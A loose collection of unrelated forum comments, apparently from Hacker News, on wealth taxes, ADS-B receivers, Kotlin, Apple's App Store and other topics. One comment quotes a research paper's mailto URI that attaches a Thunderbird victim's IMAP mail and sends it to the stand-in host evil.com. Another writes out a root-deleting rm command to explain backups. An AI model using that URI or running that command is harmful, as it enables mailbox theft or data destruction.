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Barring a constitutional amendment, which is highly unlikely, this will never happen in the USA.

What is more likely, as it’s actually constitutionally legal, is forced realizations of gains to allow for regular income taxation.
I break up work and life with workouts. 30 min yoga in the morning and 1-2 hr bike in evening. Has been great.
If this room is shared for other purposes (mine is), I find simply closing the laptop and perhaps putting it in a drawer to be surprisingly effective.
I ended up using some lockdown time to put together a Pi-based ADS-B receiver, as I live close to the main low-flying helicopter route through London. I've chosen to feed data to a mix of services, including ADSBexchange which powers those bots, so some of the data there comes from my receiver; which has a surprisingly long range with a decent antenna: I'm regularly tracking aircraft 190 or so miles away...

You can set up a system for under $120 with a good antenna and a 1090MHz-filtered software defined radio stick. I use the Piaware distribution, which sets up the basic software needed to feed data and to generate your own maps. An added bonus of being a feeder is that you can get free access to commercial ADS-B networks like Flightradar...
Amid surveillance and bans, Tibetan refugees rethink their dependence on WeChat
> You can ask the same question for all the other functions that plants perform. most of these functions we might not even know of and only realize once it's missed.

> in short, it's not economical for us to do. it might not even be possible for us to do fully given all that complexity that millions of years in evolution captures.

Yes. Human engineering tends to struggle (and eventually fail) against entropy, degradation, and change in order to accomplish one or a very few things. The systems we call life, on the other hand, often play many roles related to the perpetuation of themselves and others, and have (in a collective sense) successfully persisted in the face of highly variable conditions for millions of years.
No, you must consider regional differences.

Any law which is not doing so and just enact it the same for any larger region (the world, or just whole of china) is bound to fail big time.
Almost right. At the end of the exercise, I at least wrote TIME&DATE, a word to get the current system time. And I implemented DO..LOOP which appeared to be quite tricky. But yes, I agree. Getting the system to run was much more interesting then actually using it :-)
Black silicon photodetector hits record-breaking 132% efficiency
I don't think it is better than nothing at all. Passing a polygraph test is now potentially a false signal, giving a false sense of security to the parties concerned. Without a signal the situation would be better.
France to make masks compulsory in most workplaces
> Kotlin will have to choose to either give up on low-overhead abstractions, give up on some of its platforms, give up on giving access to full platform capabilities

It can be just reasonable mix of all of this.

> if Kotlin's inline types will make use of Valhalla, then they won't work on Android, at least not without much overhead.

Looks to me like a valid strategy.
Check your return values: APIs
Rich man wants even more as poor suffer. News at 10.

Really we should tax land as there is no deadweight loss. I don't agree with taxing wealth creation. He should have articulated an alternative, as the current situation is not sustainable.
When it started, I think they needed that kind of share, and (obviously) everyone agreed (because they came in droves). Now that the thing is successful, they could surely reduce it. What I want to see is a sliding scale. If you're an Amazon, Netflix, or Epic, based on your sales, it should be an ever-decreasing percentage. I feel like that's how most any business would shape their fee structure, and I don't understand why Apple won't even consider it.
Have children! They are great at enforcing "off" time.
The Netherlands maybe? Our "BOX 3" is effectively a 1.2% wealth tax (30% tax on a 4% assumed return).

The startup ecosystem is pretty good I'd say.
Yep, Xerox was hallucinating different numbers way before it was cool!
I think the J examples at the bottom illustrate perfectly _why_ it’s preferable to force this type of array syntax into a language like Python, rather than jumping ship for APL:

The J is inscrutable! But the Python is intuitive. Analytics code I’m writing for work needs to not only operate on arrays, but also get the hell out of the way! Understanding and communicating numerical routines is hard enough without obfuscating basic procedures.
> Why did clients implement this?

People have processes that put files in standard places and require users to email them the files. Yes, the average HN reader could automate away any need for the average process, but it exists and can't be changed. Email client developers go ahead and implement niceties without considering the risk.
"in the case of Apple, the company’s strategy was doomed right up until it was illegal, or so it seems with the App Store."

Ben Thompson (https://stratechery.com/2020/apple-epic-and-the-app-store/)

LOL
Solution to '3 utilities problem' could lead to better computers
Someone forgot to model growth in the value of the asset, and/or putting the wealth to use. A wealth tax is, to an approximation, the equivalent of the "management fee" that an ETF charges, but with the revenues going to the government.

If you have a bucket of money that isn't doing anything, then what value does it actually bring to the economy? Penalizing static value seems almost reasonable.
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The Constitution is irrelevant as long as you can get five justices on your side. Most gun laws, the expansive interpretation of the commerce clause, etc., are blatantly unConstitutional, but you can't get five for overturning, so they stand.
Because when we say "4th of July" it's not being said in the context of a date, it's an event. It's used in the same context that Christmas or Thanksgiving would be used. You don't say that we're inconsistent because we call Christmas "Christmas" instead of December 25th. We also call the 4th of July Independence Day. It's just colloquial usage.

If you ask someone what date Independence Day is they'll say July 4th, 1776. Not 4th of July, 1776. Test it.

> In the UK we'd say "18th [of] August, 2020"

Cool. In the US we say August 18th, 2020. So that's why we do MM/DD/YYYY. If you have any American colleagues or friends you can text this by asking them what the date is. They'll say August 18th (maybe with the 2020 part depending on how specific they want to be).

I really don't understand why people are so hell bent on changing our culture. We do it this way and like it. It's not a big deal.
Exactly. And people with wealth typically do not stop after their initial fortune they are continue increasing it. Problems are hundred years old family fortunes which are currently not successfully managed.
If you have attention from big players why are you finding it difficult to get a job? I have been thinking about manifold traversal for unsupervised object discovery, would you be willing to help me with that?
Wow, this ignores both the "floor" below which you would not be subject to the wealth tax (in the US, most recently by Elizabeth Warren, this has been discussed as $50M+), and ALSO fails to take into account that you would be growing your principal at ~3-8% a year through investment, etc.

Sure, I guess with no floor on the tax and with your money just literally sitting in a pile, the government would eventually take a lot of it.
Wealth should be taken into account when income tax is calculated.

It's not fair that someone who earns 100k with no assets pays as much tax as someone who earns 100k but also inherited a 1mn house and has a whole load of cash reserves from not paying rent/mortgages for years. It's doubly not fair when the wealthier individual can divert most of their salary into a pension and not pay tax on it, because they can afford to do it now.

Someone's wealth should not be eroded by tax, but their earning power should be adjusted based on marginal dollar value.
It’s not about how many founders actually gain the wealth; it’s about how the perceived reward motivates innovation.

Or, rather, how the lack of reward fails to motivate.
A problem that is usually not noticed with a wealth tax is that you have to pay the wealth tax from money which already has been taxed with some sort of income tax.

Means a 2% wealth tax combined with a 50% income tax, dividend tax, capital gains tax or whatever ends up being a 4% wealth tax effectively.

Example: You own stock worth $1,000,000 and the government wants 2% wealth tax from you which means $20,000. But to get that $20,000 you have to sell $40,000 worth of stock and pay 50% income tax for that sale and the government ends up taking 40,000$ effectively.
There's a side-effect of having a big array of receivers; if you get the basic Mode S data that all aircraft (including military) transmit from their transponders, a little math lets you quickly plot their location using a technique called multilateration (MLAT) using time of flight data and a bit of trigonometry.
right, when left alone the subject started flipping a coin (one side of which was disfigured) manically, and seeming to have an argument with themselves, sometimes shouting "you're guilty, you know it" and other times growling "those coppers will never crack me".
Another issue of wealth taxes is effectiveness. You can do a lot to reduce the value of assets by making them illiquid or create marketing costs.
I.e., the government should be smart and take it's money from treasury auctions (interest ~ 0%) and invest in the stock market or housing?

And if you think that's a bad idea, why should individuals do it in order to stay above the wealth tax?
It's easy to draw comparisons between online/digital units and outdoor, they share a lot, but the fundamental difference is that digital/online is one-to-one (one ad, one user, can be personalised) and outdoor is one to many. Right now, there's no technology available that will change that. Some people think if AR becomes ubiquitous it might, but that's still fantasyland.

Because of that, again right now, it's a misnomer that outdoor want to do the Bladerunner style microtargeting of large outdoor display (the Bugatti example you gave) simply because you make MUCH less money showing an ad to 100's of people to target one person than showing a _better_ ad to the 100's. This is because the outdoor market is still fundamentally based on CPM not CPA; that _might_ change, but in my experience it's not likely.
> But at one point, it will be more efficient to go full synthetic. If you kill all life, all fungi, all bacteria, everything will be dead matter, and like rocks on Mars or frozen seals at the poles, nothing will move in an uncontrolled way and everything will be in line with the way humans think.

If you kill all life, that will be the end of humans. There is no going "fully synthetic". Human life depends on other life.

This urge to bring everything under human control does us a disservice.
Facebook is indeed not around much anymore, users have moved to Instagram. In fact I can't remember the last time I've seen someone under 30 using Facebook.

Give it 10 years and there will be again another large social network. Teenagers won't be on the same network as their parents.
That’s on average, yes. But for those owners of business where equity value is either flat, or moderately decreases, a wealth tax is essentially a forced divestiture scheme.
That's one way of looking at it.

I personally think political ideologies are just less complete than their self perception. Liberalism, as a political/historical phenomenon just is what it is. It recognised certain things as "rights of man." Some evolved, others got added. Mostly though, what they invented then is what liberalism is today.

Much of liberalism was related to politics of the day. Monarchism, clericalism, etc. Freedom of religion, association, speech and such were issues of the day. Feminism's boom years were still hundreds of years away. I can't really think of any (old) liberals who even talked about women's issues.

It's not necessarily a question of opposing rights. It's about what rights you recognise or don't.

In Scotland, the "right to roam" exists... which allows you to access private property like farms. In the US, "gun rights" exist.

You could theoretically have any political rights in your version of liberalism. It just happens to have happened, that liberalism converged on a certain set of rights early on and stuck with that.
And there's also a "ceiling" above which the super-wealthy manage to hire lawyers, accountants, etc. to make the rate effectively "0".
Do you have any links to further reading I could do on this? This concept fascinates me and I'd be curious to learn more.
I browse the web on QubesOS in a disposable VM. There's no user data in the disposable VM, and all the data is cleared when the browser is turned off. Also, QubesOS allows me to run my GnuPG daemon in a separate domain completely isolated from all other applications. This is the ultimate defense against arbitrary code execution in a buggy web browser. To take over the computer, the attacker must exploit the Xen hypervisor or a CPU side-channel, not just a 0day in Firefox or a PDF reader. Yes, QubesOS's approach is not pretty, it's a hack and resource-heavy. But this hack allowed us to continue using an existing insecure desktop system, device drivers and applications, without reinventing the OS and the desktop with its set-back of non-existent support. At least it's a very practical stop-gap measure before someone reinvents OS security.

A lightweight solution I used previously was running the browser in a separate Unix user with firejail's sandbox. If it's not running a separate X server, the attacker is free to take over the X server and inject keyboard and mouse inputs, but at least the files in the primary /home directory is inaccessible. I did this a few years ago after the disclosure of a file-leaking vulnerability in Firefox, because I assumed similar exploits may be discovered in the future, apparently I'm not wrong.
I you stop at the attention grabbing headline, sure it's too good to be true.

It's probably clear to everyone that the cost in the end is going to be bigger. If you watch Raed667's video, the municipalities involved are quite upfront about it and not really trying to scam anyone.

But basically you can see that as a subside or a promotion. The fact that there is going to be other costs associated doesn't means the market ruled it as a bad deal as bobwernstein claimed
Wonderful to hear! Can't guarantee I'm not insane though. Still at least 70% delusion at best over here :)
I often find myself thinking, I have spare 8 minutes, I wonder what I would do with them.

As oppose to spare few mins.

Mobile phones provide distractions for spare few moments. 8mins is not a timeframe we randomly waste. Its a commitment, clearly a commitment nobody want to make.
What does adherence to fire code have anything to do with taking reservations?

Also, reservations are free. It's not reasonable to expect restaurants to do anything and everything to honor 100% of reservations when many customers never show up for them and don't have any skin in the game anyway. Whatever point is trying to be made here is going out the window thanks to the "zero 9" nature of restaurant reservations. (Yes, not even 90% of restaurant reservations end up turning into actual paying tables.)
I dont understand the selling point for a Kotlin VM or Native compilation

Isnt the whole selling point for Kotlin, is that it is a JVM hosted languages, that give you access to all Java Libraries, framework and tools .. but purportedly .. is an easier, nicer , more language language compared to Java, Scala or the other JVM languages

Why go elsewhere, why go native, or develop their own VM ?
Any improvement in the JVM benefits Kotlin, correct or am I missing something ?
>If you have a bucket of money that isn't doing anything, then what value does it actually bring to the economy

Wealthy people don't just leave their money under a mattress, they invest it in something. Even if they just left it in a bank, the bank is still going to lend that money out and invest it. Taxing wealth just encourages riskier investments, as higher risk is needed to achieve comparable post-tax return.
About the only thing that's gone past me without any transponders are the civilian marked up Dauphin II used by the SAS...
> Or, rather, how the lack of reward fails to motivate.

One example that comes to mind is the entire open source community, the provides enormous amounts of productivity with little to no compensation, would rebut this argument. Another example would be Watsi, a YC startup, with enormous impact but no profit motive (there are many top notch YC non profits, I pick this one because it is my favorite).

Taxes are higher in most of the developed world. People still start businesses, people still go to work. We don't have to shy away from policies that make the wealthy nervous. I do not buy the argument that innovation will die because of higher taxes.
Totally agree on all counts, particularly in that humans have eliminated nearly all large predators from populated areas.

Doesn't change the fact that hogs will shred an environment, drive ground-nesting birds out of the environment completely, etc. etc. We could bring back large wild cats and wolves or just relocate/shoot them.
If your drive fails (or a single computer fails) replication saves your data, and keeps things running seamlessly.

If you `sudo rm -rf / --no-preserve-root` your drive, replication deletes everything, while backups let you restore to the last time you took a backup.
Let us never forget this infamous explosives 'detector':

https://en.wikipedia.org/wiki/ADE_651

Sold to law enforcement in military around the world for a while.
Note the "25% of the stock" is not too different from a typical person who might easily pay 25% of their income in income tax, sales, VAT taxes.

A more fundamental problem w/ wealth tax is administration. How do you tax unrealized capital gains?
The term for things like this is Pareidonglia.
Seems like a cliche suggestion but meditation is a good way to reset the mind between work and non-work.
Thanks. So if they did something similar in EU, it means they must have such deal with some providers.

I can't wait to have their names, I certainly will change provider if mine has anything to do with that.
> Lets just not hire CEOs or upper management at all.

Now that's ridiculous, it feels like you're misunderstanding me completely. I never suggested that CEOs or upper management shouldn't exist. I just think that in some cases they do not deserve the massive salary they are getting, millions per year is a crazy amount of money to earn anywhere, how can you possibly argue that it's not?
From the "Integration with Other Frameworks" section of the article [1]:

> DearPyGui can actually be used in conjuction with other GUI frameworks. For example, with tkinter:

> This just requires replacing start_dearpygui with setup_dearpygui, render_dearpygui_frame, and cleanup_dearpygui in order to expose the event loop.

[1] https://itnext.io/python-guis-with-dearpygui-137f4a3360f2#2a...
Stephen Wolfram and Eric Weinstein: The Nature of Mathematical Reality
What we need is inheritance tax. If you've made money, you can keep it. But you can't live for free just because some guy 100 years ago made money and you won the genetic lottery.
I feel like you're purposefully making this hypothetical difficult and throwing up as many roadblocks as possible.

The obvious answer is that either you own a DVD player or you can get one for next to nothing. Amazon has region free ones for $25.
Not being trite, but I turn off my light and leave my desk. Setup your calendar with lunch break and EOD events/meetings to give you reminders.
It used ADSBExchange as a data source.
Show HN: Desktop ONLY – Drag&Drop performance inside a multithreading env
It's even worse. From the paper:

3) Access to IMAP Storage:

Thunderbird uses an adapted
version of the imap:// URI scheme to internally address
emails stored on IMAP folders. This allows an attacker to
include messages on the victim’s IMAP server (specified by
their UID) using an attach parameter, as shown in Listing 6.

mailto:sid@evil.com?attach=imap:///fetch>UID>/INBOX>1

Listing 6. Mailto URI to attach the first email from the victim’s IMAP server.

Multiple emails can be attached by using multiple attach
parameters with different UIDs. By setting the UID from one
to the maximum number of stored messages, and including
all UIDs as attach parameters the whole mailbox of the
victim can be exfiltrated at once.

Even worse, all OpenPGP
and S/MIME encrypted emails in the attached email are
automatically decrypted by Thunderbird before sending them
back to the attacker.

Sheesh!
What an extremely shallow and thoughtless comparison you've made.

So, you don't think that supporting your enemies enemies is a good strategy?? Because it's a well-known and time-tested basic strategy that's been used the world over.

Are you aware how much more impact Apple's products have on society than Epic's does?? Do you understand how big Apple is compared to Epic?

Yes, I'm absolutely fine with a walled-garden for a bunch of games that are sold across many platforms. Not for a piece of basic infrastructure, for something that is so essential to all of our lives.

As a user, I want to be able to compile and install software on a device that I own without having to re-up it every 7 days. As a developer, I want to give my customers software that they asked for without having to negotiate with a picky, asshole, power-hungry middle-man.

I have nothing against Tencent. Apple's done so much more to limit my freedom while Tencent has hardly entered my thoughts for any amount of time.
PG is talking about investing in companies, not general funds.

For a founder to invest (eg., $1m) in starting a company, there is of them losing their total investment. The expected ROI needs to be fairly high to offset that.

The only people who /could/ make money under such a scenario are super-rich investors making many bets that average out risk. And they wouldnt, given -- as you say -- general equity would perform better.

Any policy implemented in this way, over trivial amounts (eg., over 0.5%), would destroy investment & the business opportunities of a generation.

Perhaps there's a different policy behind "wealth tax".
Honestly the devs probably didn't consider the worst case scenario. They probably thought "the users will be able to preview the e-mail and notice that s/he will send the attached files when s/he hits send" and that that's secure enough.

Sadly we have the year 2020 and as Rick Cook said: “Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.”.

If the email program would pop up a warning that says "The following files have been automatically attached: [List of files]", would that meet the security concerns?
But one reasons why the projection is that way is because countries do nudge people to not having explosive growth by all kind of measures.

Some as simple as reducing poverty.

Some by making it most viable to have one or two children.

Some (China) by limiting the number of children to roughly two.

...

Not all of this policies are good, not all are intentionally made to have that effect.

Still if you want to shrink a countries populations there are much more ways then a hard limit to the number of children (Which I think will hardly ever play out well.).